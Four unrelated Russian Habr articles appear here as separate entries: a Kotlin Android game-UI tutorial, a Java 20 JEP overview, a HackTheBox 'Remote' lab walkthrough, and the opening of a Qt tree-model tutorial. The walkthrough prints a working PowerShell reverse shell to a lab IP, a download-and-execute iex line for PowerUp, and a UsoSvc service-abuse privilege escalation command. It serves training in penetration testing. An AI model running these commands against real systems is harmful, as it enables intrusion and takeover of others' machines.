?.let { return it }
}
}
}
```
То есть, Interactor вызывает метод `awaitAction()` и если в очереди что-то есть, обрабатывает полученную команду. Обратите внимание на то, как команды добавляются в очередь. Поскольку UI-поток выполняется непрерывно, пользователь может нажать на экран много раз подряд, что способно привести к подвисаниям активности, особенно если игровой движок не готов принимать команды (например, во время выполнения анимаций). В этом случае поможет увеличение емкости очереди и/или уменьшение значения таймаута.
Конечно, команды мы вроде как передаем, но только одну-единственную. Нам же необходимо различать координаты нажатия, и в зависимости от их значений вызывать ту или иную команду. Однако вот незадача — Interactor понятия не имеет, где в каком месте экрана нарисованы активные кнопки — за отрисовку у нас отвечает Renderer. Наладим их взаимодействие следующим образом. Класс `DiceSurface` будет хранить специальную коллекцию — список активных прямоугольников (или других фигур, если мы когда-нибудь до этого дорастем). Такие прямоугольники содержат координаты вершин и подвязанный `Action`. Renderer будет генерировать эти прямоугольники и добавлять их в список, метод `onTouchEvent()` будет определять, который из прямоугольников оказался нажатым, и добавлять в очередь соответствующий `Action`.
```
private class ActiveRect(val action: Action, left: Float, top: Float, right: Float, bottom: Float) {
val rect = RectF(left, top, right, bottom)
fun check(x: Float, y: Float, w: Float, h: Float) = rect.contains(x / w, y / h)
}
```
Метод `check()` занимается проверкой попадания указанных координат внутрь прямоугольника. Обратите внимание, на этапе работы Renderer'а (а это именно тот момент, когда прямоугольники создаются) мы не имеем ни малейшего представления о размере холста. Поэтому координаты нам придется хранить в относительных величинах (процент ширины или высоты экрана) со значениями от 0 до 1 и пересчитывать в момент нажатия. Такой подход не совсем аккуратный, так как не учитывает соотношение сторон — в будущем его придется переделывать. Однако для нашей учебной задачи на первых порах сгодится.
Реализуем в классе `DiceSurface` дополнительное поле, добавим два метода (`addRectangle()` и `clearRectangles()`) для управления им извне (со стороны Renderer'а), и расширим `onTouchEvent()`, заставив брать во внимание координаты прямоугольников.
```
class DiceSurface(context: Context) : View(context) {
private val actionQueue: BlockingQueue = LinkedBlockingQueue()
private val rectangles: MutableSet = Collections.newSetFromMap(ConcurrentHashMap())
private var instructions: RenderInstructions = { \_, \_ -> }
private val paint = Paint().apply {
color = Color.YELLOW
style = Paint.Style.STROKE
isAntiAlias = true
}
fun updateInstructions(instructions: RenderInstructions) {
this.instructions = instructions
this.postInvalidate()
}
fun clearRectangles() {
rectangles.clear()
}
fun addRectangle(action: Action, left: Float, top: Float, right: Float, bottom: Float) {
rectangles.add(ActiveRect(action, left, top, right, bottom))
}
fun awaitAction(): Action = actionQueue.take()
override fun onTouchEvent(event: MotionEvent): Boolean {
if (event.action == MotionEvent.ACTION\_UP) {
with(rectangles.firstOrNull { it.check(event.x, event.y, width.toFloat(), height.toFloat()) }) {
if (this != null) {
actionQueue.put(action)
} else {
actionQueue.offer(Action(Action.Type.NONE), 200, TimeUnit.MILLISECONDS)
}
}
}
return true
}
override fun onDraw(canvas: Canvas) {
super.onDraw(canvas)
canvas.drawColor(Color.BLACK)
instructions(canvas, paint)
}
}
```
Для хранения прямоугольников используется конкуррентная коллекция — она позволит избежать возникновения `ConcurrentModificationException` в случае, если набор будет одновременно обновляться и перебираться разными потоками (что в нашем случае обязательно произойдет).
Код класса `DroidMenuInteractor` останется без изменений, а вот `DroidMenuRenderer` изменится. Добавим в отображение четыре кнопки для каждого элемента `ActionList`. Расположим их под заголовком DICE, равномерно распределив по ширине экрана. Ну и об активных прямоугольниках не забудем.
```
class DroidMenuRenderer (
private val surface: DiceSurface,
private val loader: StringLoader
) : MenuRenderer {
protected val helper = StringLoadHelper(loader)
override fun clearScreen() {
surface.clearRectangles()
surface.updateInstructions { _, _ -> }
}
override fun drawMainMenu(actions: ActionList) {
//Prepare rectangles
surface.clearRectangles()
val percentage = 1.0f / actions.size
actions.forEachIndexed { i, a ->
surface.addRectangle(a, i * percentage, 0.45f, i * percentage + percentage, 1f)
}
//Prepare instructions
surface.updateInstructions { c, p ->
val canvasWidth = c.width
val canvasHeight = c.height
val buttonTop = canvasHeight * 0.45f
val buttonWidth = canvasWidth / actions.size
val padding = canvasHeight / 144f
//Draw title text
p.textSize = canvasHeight / 3f
p.strokeWidth = 0f
p.color = Color.parseColor("#ff808000")
p.isFakeBoldText = true
c.drawText(
"DICE",
(canvasWidth - p.measureText("DICE")) / 2f,
(buttonTop - p.ascent() - p.descent()) / 2f,
p
)
p.isFakeBoldText = false
//Draw action buttons
p.textSize = canvasHeight / 24f
actions.forEachIndexed { i, a ->
p.color = if (a.isEnabled) Color.YELLOW else Color.LTGRAY
p.strokeWidth = canvasHeight / 240f
c.drawRect(
i * buttonWidth + padding,
buttonTop + padding,
i * buttonWidth + buttonWidth - padding,
canvasHeight - padding,
p
)
val name = mergeActionData(helper.loadActionData(a))
p.strokeWidth = 0f
c.drawText(
name,
i * buttonWidth + (buttonWidth - p.measureText(name)) / 2f,
(canvasHeight + buttonTop - p.ascent() - p.descent()) / 2f,
p
)
}
}
}
private fun mergeActionData(data: Array) = if (data.size > 1) {
if (data[1].first().isLowerCase()) data[0] + data[1] else data[1]
} else data.getOrNull(0) ?: ""
}
```
Здесь мы вновь вернулись к интерфейсу `StringLoader` и возможностям вспомогательного класса `StringLoadHelper` (не представлен на диаграмме). Реализация первого имеет название `ResourceStringLoader` и занимается загрузкой локализованных строк из (очевидно) ресурсов приложения. Однако делает это динамически, поскольку идентификаторы ресурсов нам заранее не известны — их мы вынуждены конструировать на ходу.
```
class ResourceStringLoader(context: Context) : StringLoader {
private val packageName = context.packageName
private val resources = context.resources
override fun loadString(key: String): String =
resources.getString(resources.getIdentifier(key, "string", packageName))
}
```
Осталось рассказать про звуки и музыку. В андроиде есть замечательный класс `MediaPlayer`, который как раз и занимается этими вещами. Ничего лучше для проигрывания музыки не найти:
```
class DroidMusicPlayer(private val context: Context): MusicPlayer {
private var currentMusic: Music? = null
private val player = MediaPlayer()
override fun play(music: Music) {
if (currentMusic == music) {
return
}
currentMusic = music
player.setAudioStreamType(AudioManager.STREAM_MUSIC)
val afd = context.assets.openFd("music/${music.toString().toLowerCase()}.mp3")
player.setDataSource(afd.fileDescriptor, afd.startOffset, afd.length)
player.setOnCompletionListener {
it.seekTo(0)
it.start()
}
player.prepare()
player.start()
}
override fun stop() {
currentMusic = null
player.release()
}
}
```
Два замечания. Во-первых, метод `prepare()` выполняется синхронно, что при большом размере файла (ввиду буферизации) будет подвешивать систему. Рекомендуется либо запускать его в отдельном потоке, либо использовать асинхронный метод `prepareAsync()` и `OnPreparedListener`. Во-вторых, хорошо бы связать воспроизведение с жизненным циклом активности (приостанавливать, когда пользователь сворачивает приложение и возобновлять при восстановлении), но мы этого не сделали. Ай-ай-ай…
Для звуков `MediaPlayer` тоже подойдет, но если их мало и они простые (как в нашем случае), подойдет и `SoundPool`. Преимущество его состоит в том, что когда звуковые файлы уже загружены в память, их воспроизведение начинается мгновенно. Недостаток очевиден — памяти может не хватить (но нам хватит, мы скромные).
```
class DroidSoundPlayer(context: Context) : SoundPlayer {
private val soundPool: SoundPool = SoundPool(2, AudioManager.STREAM_MUSIC, 100)
private val sounds = mutableMapOf()
private val rate = 1f
private val lock = ReentrantReadWriteLock()
init {
Thread(SoundLoader(context)).start()
}
override fun play(sound: Sound) {
if (lock.readLock().tryLock()) {
try {
sounds[sound]?.let { s ->
soundPool.play(s, 1f, 1f, 1, 0, rate)
}
} finally {
lock.readLock().unlock()
}
}
}
private inner class SoundLoader(private val context: Context) : Runnable {
override fun run() {
val assets = context.assets
lock.writeLock().lock()
try {
Sound.values().forEach { s ->
sounds[s] = soundPool.load(
assets.openFd("sound/${s.toString().toLowerCase()}.wav"), 1
)
}
} finally {
lock.writeLock().unlock()
}
}
}
}
```
При создании класса все звуки из перечисления `Sound` загружаются в хранилище в отдельном потоке. В этот раз мы не используем синхронизированную коллекцию, но реализуем мьютекс при помощи стандартного класса `ReentrantReadWriteLock`.
Теперь наконец-то слепим все компоненты воедино внутри нашей `MainActivity` — не забыли о такой? Обратите внимание, что `MainMenu` (да и `Game` впоследствии) должен запускаться в отдельном потоке.
```
class MainActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
Audio.init(DroidSoundPlayer(this), DroidMusicPlayer(this))
val surface = DiceSurface(this)
val renderer = DroidMenuRenderer(surface)
val interactor = DroidMenuInteractor(surface, ResourceStringLoader(this))
setContentView(surface)
Thread {
MainMenu(renderer, interactor).start()
finish()
}.start()
}
override fun onBackPressed() {
}
}
```
Вот, собственно, и все. После всех мучений главный экран нашего приложения выглядит просто потрясающе:
**Главное меню во всю ширь мобильного экрана**[](https://habrastorage.org/webt/m0/u7/-7/m0u7-7lcjmuttu9rerrvirhfgyy.png)
Ну то есть, будет выглядеть потрясающе, когда в наших рядах появится толковый художник, и с его помощью это убожество будет полностью перерисовано.
Полезные ссылки
---------------
Знаю, многие прокрутили прямиком до этого пункта. Ничего страшного — большинство читателей и вовсе вкладку закрыли. Тем единицам, кто все же выдержал весь этот поток бессвязной болтовни — ~~респект и уважуха~~ бесконечная любовь и благодарность. Ну и ссылки, конечно, куда ж без них. В первую очередь на исходный код проектов (имейте в виду, что текущее состояние проектов ушло далеко вперед от рассматриваемого в статье):
* [проект **Core**](https://bitbucket.org/alexsem6/dice_core/src/master/);
* [проект **Cli**](https://bitbucket.org/alexsem6/dice_cli/src/master/);
* [проект **Droid**](https://bitbucket.org/alexsem6/dice_droid/src/master/);
Ну и вдруг у кого-то появится желание запустить и посмотреть проект, а самостоятельно собирать его лень, вот ссылка на рабочую версию: [ССЫЛКА!](http://dice.alexan2s.beget.tech/DiceStories/)
Здесь для запуска используется удобный launcher (о создании которого вполне можно отдельную статью написать). Он использует JavaFX и потому может не запуститься на машинах с OpenJDK (пишите — поможем), но по крайней мере избавляет от необходимости вручную прописывать пути к файлам. Справка по установке содержится в файле readme.txt (помните такие?). Скачивайте, смотрите, пользуйтесь, а я наконец умолкаю.
Если вас заинтересовал проект, или используемый инструмент, или механики, или какое-то интересное решение, или, я не знаю, lore игры, можно подробнее рассмотреть его в отдельной статье. Если хотите. А если не хотите, то просто присылайте замечания, пожаления и предложения. Буду рад пообщаться.
Всего хорошего. | https://habr.com/ru/post/445278/ | null | ru | null |
# Что нового в Java 20?
[](https://habr.com/ru/company/piter/blog/705478/)
Версия Java 20 [должна быть выпущена в марте 2023 года](https://openjdk.org/projects/jdk/20/), и ожидается, что в ней появится [целый ряд изменений и новых функциональных возможностей](https://jdk.java.net/20/release-notes). Мы подготовили обзор, описывающий, какие JEP с наибольшей вероятностью будут приняты в JDK 20, и какие из них, как мы надеемся, будут приняты в ближайшей перспективе!
Последняя версия JDK (Java Development Kit) 19 была выпущена 20 сентября 2022 года. Следующая версия, Java 20, [планируется как релиз без LTS](https://www.oracle.com/java/technologies/java-se-support-roadmap.html), а следующая версия 21 — как релиз с долгосрочной поддержкой (LTS). Ожидается, что грядущая версия 20 принесет ряд замечательных обновлений, поэтому мы с нетерпением ждем марта, чтобы получить ее в распоряжение!
Но прежде чем перейти к рассмотрению JEP, запланированных для Java 20, давайте сделаем краткий обзор процесса обновления Java и концепции предложений по улучшению, чтобы целиком представлять картину происходящего.
Предложение по расширению (JEP) и процесс составления дорожной карты проекта
----------------------------------------------------------------------------
Разработка Java Development Kit (JDK) основана на концепции [предложений по расширению JDK (JDK Enhancement Proposals, или JEPs)](https://en.wikipedia.org/wiki/JDK_Enhancement_Proposal). По сути, эти предложения по расширению служат дорожной картой для проектов JDK и всей сопутствующей деятельности по их разработке. Процесс JEP не заменяет рабочий процесс, принятый в сообществе Java, поскольку именно работа на уровне сообщества Java по-прежнему является основным способом утверждения изменений в API и языке.Пожалуй, замысел Oracle при введении JEP в 2010 году заключался в том, чтобы дать возможность участникам OpenJDK вносить идеи для улучшения экосистемы. JEP помогают отслеживать статус разработки функций, предназначенных для внедрения в проект выпуска JDK, а также поддерживать работы, которые не связаны с конкретным релизом.
На момент написания статьи в JEP Index перечислены 437 предложений по улучшению, а также ряд проектов и представленных JEP. Из всех этих предложений по усовершенствованию первые 4 являются мета-JEP:
* [JEP 0](https://openjdk.org/jeps/0) — это список всех размещенных предложений, упомянутых выше.
* [JEP 1](https://openjdk.org/jeps/1) описывает процесс управления (сбор, рассмотрение, определение приоритетов, оценка и запись результатов) предложениями по расширению JDK, улучшению процессов и инфраструктуры.
* [JEP 2](https://openjdk.org/jeps/2) — это шаблон для создания новых JEP.
* [JEP 3](https://openjdk.org/jeps/3) описывает процесс выпуска JDK.
Результатом [процесса JEP](http://cr.openjdk.java.net/~mr/jep/jep-2.0-02.html) является дорожная карта JDK, содержащая предложения по новым функциям, а также другие идеи по улучшению, которые должны быть рассмотрены для включения в проекты релиза JDK. Дорожная карта в основном служит в качестве бэклога, охватывая идеи, по крайней мере, на ближайшие три года, поэтому не все JEP попадут в следующий релиз.
Можно ознакомиться с текущим списком JEP (черновиков и представленных вариантов) для Java 20 на сайте [JEP 0](https://openjdk.org/jeps/0), а также с [примечаниями к выпуску раннего доступа](https://jdk.java.net/20/release-notes) для изменений этой версии. Итак, теперь, когда вы понимаете процесс, давайте перейдем непосредственно к тому, какие JEP, как ожидается, войдут в Java 20!
Какие JEP ожидаются в JDK 20?
-----------------------------
[Шаблоны записи](https://openjdk.org/jeps/432)
Представлены в качестве первого превью в JDK 19 и ожидаются в качестве второго превью в JDK 20. Для поддержки навигации и обработки данных шаблоны записей облегчают работу с компонентами записей. Не изменяя синтаксис или семантику шаблонов типов, это предложение расширит возможности подбора шаблонов для более сложных запросов к данным.
Приведенный ниже пример кода ([источник](https://openjdk.org/jeps/432)) показывает, как элегантно можно получить доступ к компонентам x и y с помощью шаблонов записей, избавившись от типичных обращений к p.x() и p.y().
```
if (o instanceof Point(int x, int y)) {
System.out.println(x+y);
}
```
[Сопоставление по шаблону для операторов switch](https://openjdk.org/jeps/433)
Представлен как первый предварительный вариант в JDK 17 и ожидается как четвертый превью в JDK 20. Цель [JEP 433](https://openjdk.org/jeps/433) — усилить операторы switch, а также сделать их более легкими для чтения и удобными. В текущих версиях Java в качестве типа выбираемого селектора переключателя могут использоваться целочисленные примитивы, их упакованные версии, перечисления и строки. В новом дополнении переключатели можно использовать для любого типа, а для выбора определенного условия используются шаблоны. Примером такого шаблона является case Triangle t. Этот case будет выполнен, если селектор имеет тип Triangle. Кроме того, условие when может быть использовано в качестве дополнительного фильтра, указывая, какое условие case должно быть выполнено, т. е. для разных треугольников могут быть разные условия. Примером такого условия when может служить условие when t.calculateArea() > 100.
Следующий фрагмент кода ([источник](https://openjdk.org/jeps/433)) обобщает практику сопоставления по шаблону в операторах switch:
```
switch (s) {
case null ->
{ break; }
case Triangle t
when t.calculateArea() > 100 ->
System.out.println("Large triangle");
default ->
System.out.println("A shape, possibly a small triangle");
}
```
[Foreign function & memory (FFM) API](https://openjdk.org/jeps/434)
API FFM построен на основе [разнообразных JEP](https://openjdk.org/jeps/434), которые были объединены – и так появился его первый превью в JDK 19. Ожидается и второй превью в JDK 20. Этот API позволяет вызывать внешние функции для Java-программ для работы с внешним кодом и данными, например, за пределами среды выполнения Java/ При этом данный API лишён недостатков и рисков JNI. Основной целью FFM API является превосходная, чистая модель разработки Java, а также поддержка более широкого спектра моделей внешней памяти.
[Виртуальные потоки](https://openjdk.org/jeps/436)
Представлены в качестве первого превью в JDK 19 и ожидаются в качестве второго превью в JDK 20. Виртуальные потоки повышают эффективность при написании, поддержке и мониторинге параллельных приложений. Они легковесны, поддерживают масштабируемость по потоку на запрос и могут быть применены с минимальными изменениями в существующем коде. Традиционный поток Java в точности соответствует одному потоку ОС, в то время как виртуальные потоки не привязаны к конкретному потоку ОС. В результате их создание обходится недорого, и вы можете создавать их в таком количестве, в каком потребуется.
Какие JEP мы с нетерпением ждем после JDK 20
--------------------------------------------
**Дополнения к системе типов**
Следующие изменения в системе типов предоставляют возможности для написания кода с более высокой производительностью или более удобного для чтения и сопровождения.
[Примитивные классы](https://openjdk.org/jeps/401)
[JEP 401](https://openjdk.org/jeps/401) вводит поддержку нового специального класса значений для определения примитивных типов. Использование примитивов позволяет повысить производительность за счет лучшего доступа к памяти и потому, что примитивные операции выполняются в процессоре более эффективно. Благодаря этому обновлению разработчики могут воспользоваться повышенной производительностью примитивов, сохраняя абстракции и другие преимущества, обеспечиваемые при объявлении классов.
Для того чтобы преимущества примитивов сочетались с привычной объектно-ориентированной парадигмой, для примитивных классов должны соблюдаться следующие два правила:
* Все поля внутри примитивного класса определяются неявно финальными, то есть они могут быть установлены только в конструкторе или инициализаторе.
* Кроме того, примитивные классы не могут иметь поля, которые неявно зависят от объявляющего класса.
Примитивные классы объявляются с помощью ключевого слова primitive, то есть:
```
primitive class Point implements Shape {
...
}
```
[Объекты значений](https://openjdk.org/jeps/8277163)
Традиционные объекты Java пподразумевают идентичность, т.е. их расположение в памяти используется для отличия одного объекта от другого. Предложение идентичности во время выполнения ресурсозатратно, и во многих реализациях не используется. В этом представлении объектная модель Java расширена классами значений и объектами значений. Классы значений не содержат идентификаторов, т.е. для них характерны преимущества производительности примитивных типов. Но при работе с ними используются объектно-ориентированные концепции. При использовании функции == на объектах значений для определения равенства объектов используются значения их полей, а не их расположение в памяти. Помните, что все поля классов значений неявно финальные и должны быть заданы в инициализаторе или конструкторе!
Классы значений объявляются с помощью ключевого слова value, т.е:
```
value class Point implements Shape {
...
}
```
[Универсальные дженерики](https://openjdk.org/jeps/8261529)
Это дополнение снимает требование о том, что параметры типа должны быть ссылочными типами, позволяя использовать примитивные классы в качестве параметров типа. Многие существующие реализации дженериков будут работать с этим новым дополнением, т.е. они могут быть инстанцированы с примитивным классом в качестве аргумента типа. Однако следует быть особенно осторожным, если в коде присваивается null, так как примитивные классы будут отказывать, выбрасывая исключение «нулевой указатель».
[Шаблоны строк](https://openjdk.org/jeps/430)
Для упрощения рутинной композиции строки применяются строковые шаблоны, они же строковые литералы. Они содержат встроенные выражения, которые интерпретируются во время выполнения программы. Добавив в Java новый вид выражения (выражение шаблона строки), [JEP 430](https://openjdk.org/jeps/430) упрощает написание кода со строками, включающими значения, вычисляемые во время выполнения. Это позволяет улучшить читабельность, гибкость в определении синтаксиса форматирования и повысить безопасность программ, требующих пользовательский ввод в качестве значений.
**Дополнения для многопоточного кода**
Если вы работаете с многопоточным кодом, обязательно ознакомьтесь с этими дополнениями, которые предназначены для более удобного чтения многопоточного кода или обеспечивают повышение производительности.
[Значения с указанной областью видимости](https://openjdk.org/jeps/429)
С расширенными локальными переменными станет проще обмениваться неизменяемыми данными внутри потока и между дочерними потоками в Java. Это обновление сделано для того, чтобы было проще судить о потоке данных, а также для большего удобства использования; повышения надежности. Это делается, чтобы только легитимные вызовы могли получить данные, разделяемые вызывающей стороной. Повышение производительности достигается за счет оптимизации во время выполнения и обработки разделяемых данных как неизменяемых. Хотя это изменение не требует перехода от переменных, локальных в пределах потока, их желательно использовать, особенно при большом количестве виртуальных потоков.
[Структурированный параллелизм](https://openjdk.org/jeps/428)
С введением API для структурированного параллелизма, обновление [JEP 428](https://openjdk.org/jeps/428) позволяет рассматривать различные задачи, выполняемые в отдельных потоках, как отдельные самостоятельные куски работы. Это нововведение должно значительно упростить многопоточное программирование и стимулировать разработчиков к применению параллельного программирования, облегчая обеспечение надежности, поддержки и наблюдаемости кода.
Другие интересные JEP:
* [Последовательные коллекции](https://openjdk.org/jeps/431): добавляет интерфейс SequencedCollection в стандартную библиотеку, предоставляя первую коллекцию, которая определяет порядок следования элементов внутри коллекции.
* [Векторный API](https://openjdk.org/jeps/426): нужен для повышения производительности по сравнению со скалярными вычислениями. Новый API позволяет выполнять векторные вычисления, компилируемые во время выполнения.
* [Асинхронный API трассировки стека](https://openjdk.org/jeps/435): Представляет новый API для асинхронного сбора стектрейсов.
* [Classfile API](https://openjdk.org/jeps/8280389): Добавляет новый API для замены ASM (или cglib, или другой библиотеки байт-кода), который обеспечит способ чтения, записи и преобразования файлов классов Java.
Заключение: почему мы с нетерпением ждем Java 20
------------------------------------------------
В целом, обновления в Java 20 обещают большую гибкость в создании высокопроизводительного софта. Если вам не терпится попробовать его, ознакомьтесь с [ранним доступом, сборками с открытым исходным кодом](https://jdk.java.net/20/) и отметьте в своем календаре предполагаемую дату выхода — 21 марта 2023 года! | https://habr.com/ru/post/705478/ | null | ru | null |
# HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu).
В данной статье копаемся в NFS ресурсе, разбираемся с RCE эксплоитом для CMS Umbraco и находим вектор LPE через UsoSvc с помощью PowerUp.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
**Организационная информация**
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
-----
Данная машина имеет IP адрес 10.10.10.180, который я добавляю в /etc/hosts.
```
10.10.10.180 remote.htb
```
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
```
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500
```
На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
```
nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
```
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
```
nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
```
Порт 111 отвечает за NFS (позволяет монтировать удалённые файловые системы через сеть). Давайте посмотрим список ресурсов.
Имеем доступные ресурсы, давайте примонтируем данный ресурс.
И в данной директории находим Web.config и папку Umbraco. Umbraco является платформой системы управления контентом с открытым исходным кодом.
Таким образом нам, нам нужно посмотреть все конфиги, а также узнать версию Umbraco. Вот что можно отметить в Web.Config.
Находим учетные данные для smtp и версию Umbraco: 7.12.4. Корая является уязвимой, если имеются учетные данные.
Entry Point
-----------
Дальше я вывел все файлы и каталоги, которые имеются на удаленном сервере, чтобы выбрать и просмотреть файлы, которые представляют интерес.
```
ls -lR ./
```
После того, как круг файлов ограничен, следует их просмотреть (можно поверхностно используя grep для выбора таких строк как: user, login, pass, vers, и т.п.). Так находим информацию о существовании двух пользователей:
После этого, еще раз проходимся grep’ом в поисках строк admin и ssmith. И находим хеши для данных пользователей.
И успешно взламываем пароль администратора.
Если посмотреть базу exploit-db, то там есть готовый exploit, но его нужно чуть изменить.
USER
----
Во-первых: укажем учетные данные и хост.
Во-вторых: изменим нагрузку, указав исполняемый файл и параметры к нему. В данном случае, для теста используем ping.
Как только программа отработает, в tcpdump мы увидим пакеты ICMP.
Давайте загрузим следующий реверс-шелл:
```
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
```
Сохраним его в shell.ps1, запустим на локальной машине http сервер.
```
sudo python3 -m http.server
```
Изменим нагрузку.
И выполнив, получим бэкконнект.
На сервере нет пользовательских директорий, поэтому находим флаг в доступной для всех Public.
ROOT
----
Посмотрев информацию о пользователе, замечаем интересную привилегию.
Но так как это Windows Server 2019, то имперсонировать токен для LPE не выйдет.
Давайте используем [PowerUp](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1) для поиска вектора LPE. Загрузим его с локального хоста и выполним полную проверку.
```
iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks
```
И мы имеем разрешения на Update Orchestrator Service. Cлужба обновления Orchestrator — это служба, которая организует для вас обновления Windows. Этот сервис отвечает за загрузку, установку и проверку обновлений для компьютера.
Создадим второй shell (изменим в первом порт) и загрузим его на машину.
```
wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1
```
И теперь запустим с помощью UsoSvc.
```
Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"
```
И получаем бэкконнект.
Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. | https://habr.com/ru/post/517876/ | null | ru | null |
# Иерархические модели в Qt
Продолжаю тему создания моделей с использованием Qt MV. В [прошлый раз](http://habrahabr.ru/post/171443/) была критическая статья по поводу того, как делать не надо. Переходим к позитивной части.
Для создания плоских моделей списков и таблиц можно использовать заготовки [QAbstractListModel](http://qt-project.org/doc/qt-5.0/qtcore/qabstractlistmodel.html) и [QAbstractTableModel](http://qt-project.org/doc/qt-5.0/qtcore/qabstracttablemodel.html). Доведение их до готовности не составляет большого труда, поэтому рассматривать их подробно нет необходимости.
Создание же иерархических моделей – более сложная задача. О ней и пойдет речь в этой статье.
В общем случае, Qt позволяет создавать не только древовидные модели, но и модели более сложных конфигураций и размерностей. Например, таблица, в которой каждый элемент является группирующим для подтаблицы. Несмотря на это, в большинстве случаев, когда говорят об иерархических моделях – имеют в виду деревья. Именно процесс создания деревьев я и хочу осветить.
###### Рисунок: Taблица в таблице
Еще одно вводное замечание касается сути модели, создавать которую я буду в качестве примера. Хотелось выбрать что-то конкретное и универсальное, поэтому я решил создать для примера модель, отображающую файловую систему. Она не страдает полнотой и завершенностью, поэтому вряд ли кто-то захочет использовать ее всерьез (тем более что уже есть [QFileSystemModel](http://qt-project.org/doc/qt-5.0/qtwidgets/qfilesystemmodel.html)), но для примера вполне подойдет. В следующей статье, если такая будет, вокруг этой модели я собираюсь построить несколько proxy.
#### Проектирование
Прежде всего, необходимо определиться со *внутренней структурой данных*. Здесь я выделил бы 2 основных направления:
* Модели с хорошо определенной структурой или небольшой вложенностью.
Примером может являться редактор свойств в Qt Designer. В этом случае всю информацию о положении конкретного элемента модели можно сохранить в самом индексе ([QModelIndex](http://qt-project.org/doc/qt-5.0/qtcore/qmodelindex.html)), используя `internalId`. В случае случая редактора свойств в `internalId` можно сохранить идентификатор группы свойства.
Другой пример – модель записной книжки. Очевидно, запись «*Lol4t0*» входит в подгруппу *Lo*, которая, в свою очередь, входит в группу *L*. И обратно – в группу *Lo* входят те, и только те записи, которые начинаются с префикса «*Lo*». Это я и называю хорошо определенной структурой.
* Модели без четко определенной структуры. Модель файловой системы относится именно к таким. Зная только название папки *Documents*, вообще говоря, невозможно определить, в какой папке она находится и какие папки содержит.
Дополнительные сведения об организации данных можно использовать при конструировании, поэтому создание моделей первого типа обычно не вызывает проблем. В статье речь пойдет о моделях второго типа.
Все виды данных, с которыми приходится иметь дело при разработке древовидных моделей, на самом деле похожи. Поэтому не составит труда выделить некоторые общие рекомендации относително внутренней организации данных:
* Необходимо хранить данные узлов
* Должна существовать взаимнооднозначная связь между `QModelIndex` и элементом внутренней структуры данных
* Каждый узел должен содержать ссылки на родительский узел и дочерние узлы
В случае модели файловой системы, я буду использовать [QFileInfo](http://qt-project.org/doc/qt-5.0/qtcore/qfileinfo.html) для хранения информации о каждом узле. Кроме того, необходимо будет хранить информацию о дочерних узлах и родительском узле. Дополнительно, понадобится информация о том, производился ли поиск дочерних узлов, или нет.
###### Бизнес данные (`QFileInfo`) пришлось обернуть служебной информацией. В большинстве случаев, без этого невозможно обойтись. Если данные предметной области уже поддерживают иерархию, можно использовать ее, однако я еще ни разу не встречался со случаем, когда исходные данные содержали бы всю необходимую информацию.
Получаем следующую внутреннюю структуру данных:
```
struct FilesystemModel::NodeInfo
{
QFileInfo fileInfo; // информация об узле
QVector children; // список дочерних узлов
NodeInfo\* parent; // ссылка на родительский узел
bool mapped; // производился ли поиск дочерних узлов.
};
```
При создании дерева, я сконструирую список узлов, соответствующий корневым объектам файловых систем, а их дочерние элементы я буду подгружать по мере необходимости:
```
typedef QVector NodeInfoList;
NodeInfoList \_nodes; // список корневых узлов файловых систем
```
В дереве будет несколько столбцов:
```
enum Columns
{
RamificationColumn, // столбец, по которому производится ветвление, всегда первый.
// Другого варианта не поддерживает QTreeView
NameColumn = RamificationColumn, // столбец с именем узла
ModificationDateColumn, // столбец с датой изменения узла
SizeColumn, // столбец с размером файла
ColumnCount // число столбцов
};
```
#### Минимальная реализация
После того, как определились со структурой хранения данных, можно приступить к реализации модели.
Если необходимо реализовать иерархическую модель, то ничего не остается, кроме как наследоваться от [QAbstractItemModel](http://qt-project.org/doc/qt-5.0/qtcore/qabstractitemmodel.html). Для того чтобы реализовать простейшую модель, необходимо написать реализацию всего пяти функций:
```
virtual QModelIndex index(int row, int column, const QModelIndex &parent) const;
virtual QModelIndex parent(const QModelIndex &child) const;
